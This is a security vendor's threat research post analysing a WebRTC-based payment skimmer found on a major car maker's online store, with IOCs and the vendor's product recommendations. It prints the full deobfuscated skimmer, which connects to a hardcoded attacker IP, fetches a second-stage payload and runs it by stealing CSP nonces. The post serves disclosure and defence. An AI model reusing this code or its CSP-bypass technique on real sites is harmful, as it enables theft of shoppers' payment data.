Novel WebRTC skimmer bypasses security controls at $100+ billion car maker
by Sansec Forensics Team
Published in Threat Research − March 24, 2026
Sansec discovered a payment skimmer that uses WebRTC DataChannels to receive its payload and exfiltrate stolen data, bypassing CSP and HTTP-based security tools.

What sets this attack apart is the skimmer itself. Instead of the usual HTTP requests or image beacons, this malware uses WebRTC DataChannels to load its payload and exfiltrate stolen payment data. This is the first time Sansec has observed WebRTC used as a skimming channel.
The car manufacturer is the latest victim in a streak of major ecommerce breaches. Sansec has now found payment skimmers on five multi-billion dollar companeis in the past two months, including a top-3 US bank and a top-10 global supermarket chain.
The most likely entry vector is a PolyShell attack that Sansec warned about last week. Mass exploitation of PolyShell started on March 19th, and Sansec has now found PolyShell attacks on 56.7% of all vulnerable stores.
Sansec has notified the car manufacturer but has not received a response yet.
Why WebRTC bypasses your defenses
WebRTC peer connections operate outside the scope of Content Security Policy. CSP directives like connect-src control fetch, XHR, and WebSocket connections, but they do not restrict RTCPeerConnection. A store with a strict CSP that blocks all unauthorized HTTP connections is still wide open to WebRTC-based exfiltration.
This is a well-known gap in the CSP specification. Chrome has shipped experimental support for a webrtc CSP directive, but it is not standardized yet and virtually no site deploys it. For the vast majority of real-world stores, this bypass works.
The traffic itself is also harder to detect. WebRTC DataChannels run over DTLS-encrypted UDP, not HTTP. Network security tools that inspect HTTP traffic will never see the stolen data leave.
Technical analysis
The skimmer is a self-executing function that sets up a WebRTC peer connection to a hardcoded IP address. Here is the full deobfuscated code:
(function () {
var conn = new window.RTCPeerConnection();
var channel = conn.createDataChannel(location.href);
var chunks = [];
var executed = false;
channel.onmessage = function (event) {
chunks.push(
typeof event.data == "string"
? event.data
: new TextDecoder().decode(event.data),
);
};
channel.onclose = function () {
executePayload();
conn.close();
};
var iceUfrag = Math.random().toString(36).slice(2, 10);
conn
.createOffer()
.then(function (offer) {
offer.sdp = offer.sdp
.replace(RegExp("a=ice-ufrag:.+", "g"), "a=ice-ufrag:" + iceUfrag)
.replace(
RegExp("a=ice-pwd:.+", "g"),
"a=ice-pwd:05l0TstonL9bYAdB04I6x2",
);
return conn.setLocalDescription(offer);
})
.then(function () {
var c2ip = [202, 181, 177, 177].join(".");
conn.setRemoteDescription({
type: "answer",
sdp:
"v=0\r\no=- 0 0 IN IP4 0.0.0.0\r\n" +
"s=-\r\nt=0 0\r\n" +
"a=group:BUNDLE 0\r\n" +
"a=ice-ufrag:" +
iceUfrag +
"\r\n" +
"a=ice-pwd:JxCvVg2YnHDqAcpPS8mkqC\r\n" +
"a=fingerprint:sha-256 9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:" +
"85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:" +
"BE:E2:6E:E3:1D\r\n" +
"a=setup:passive\r\n" +
"m=application 3479 UDP/DTLS/SCTP webrtc-datachannel\r\n" +
"c=IN IP4 " +
c2ip +
"\r\n" +
"a=mid:0\r\na=sctp-port:5000\r\n" +
"a=candidate:1 1 UDP 1803930525 " +
c2ip +
" 3479 typ host\r\n",
});
});
setTimeout(function () {
executePayload();
conn.close();
}, 1e4);
function executePayload() {
if (executed) {
return;
}
executed = true;
var payload = chunks.join("");
(
window.requestIdleCallback ||
function (fn) {
setTimeout(fn, 50);
}
)(function () {
try {
var script = document.createElement("script");
var scripts = document.querySelectorAll("script");
var i;
for (i = 0; i < scripts.length; i = i + 1) {
if (scripts[i].nonce) {
script.nonce = scripts[i].nonce;
inject();
return;
}
}
try {
Function(payload)();
} catch (e) {
inject();
}
function inject() {
script.textContent = payload;
document.head.appendChild(script);
script.remove();
}
} catch (e) {}
});
}
})();
Step-by-step breakdown
1. Establish a WebRTC connection to the attacker's server. The script creates an RTCPeerConnection and a DataChannel labeled with the current page URL. This tells the attacker's server which page the victim is on.
2. Forge the SDP handshake. Instead of using a signaling server, the malware builds the entire SDP exchange locally. It generates a random ICE username fragment and hardcodes the ICE password (05l0TstonL9bYAdB04I6x2). It then constructs a fake SDP "answer" pointing to the attacker's IP 202.181.177.177 on UDP port 3479, with a pre-shared DTLS fingerprint.
This is a clever trick: normal WebRTC applications need a signaling server to exchange connection details between peers. By hardcoding the remote SDP, the malware skips signaling entirely and connects directly to the C2 server.
3. Receive the second-stage payload. The DataChannel's onmessage handler collects all incoming data into an array. The attacker's server sends JavaScript code back through the encrypted DataChannel.
4. Execute the payload with CSP nonce theft. When the channel closes (or after a 10-second timeout), the executePayload function runs. It concatenates all received chunks into a single string, then tries to execute it as JavaScript. The execution path is carefully designed to bypass Content Security Policy:
- First, it scans all existing
<script>tags for anonceattribute. If found, it copies the nonce to a new script element and injects the payload into the page. This defeats CSPscript-src 'nonce-...'policies. - If no nonce is found, it falls back to
Function(code)(), which works when CSP allowsunsafe-eval. - As a last resort, it appends a
<script>tag todocument.headand immediately removes it.
The use of requestIdleCallback ensures the payload executes during browser idle time, reducing the chance of performance-related detection.
Connection to PolyShell
The timing of this breach, discovered days after automated PolyShell mass scanning started on March 19th, strongly suggests the attackers gained access through the PolyShell vulnerability. PolyShell allows unauthenticated file uploads to any vulnerable store via the REST API, and no official patch exists for production versions.
Recommendations
- Block attacks: Deploy Sansec Shield to block PolyShell exploitation and skimmer injection in real-time
- Scan for compromise: Run eComscan to detect WebRTC skimmers, webshells, and backdoors
Store operators should also verify that their web server blocks access to pub/media/custom_options/ as described in our PolyShell advisory.
Indicators of Compromise
C2 server:
202.181.177.177
UDP port 3479
ICE credentials (hardcoded in SDP):
Client ICE password: 05l0TstonL9bYAdB04I6x2
Server ICE password: JxCvVg2YnHDqAcpPS8mkqC
DTLS fingerprint:
9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:BE:E2:6E:E3:1D
WebRTC SDP pattern (detection signature):
m=application 3479 UDP/DTLS/SCTP webrtc-datachannel
a=sctp-port:5000
Read more
In this article
Protect your store now!
Block all known Magento attacks, while you schedule the latest critical patch until a convenient moment. No more downtime and instability from rushed patching.
Get Sansec ShieldScan your store now
for malware & vulnerabilities
eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.
Learn more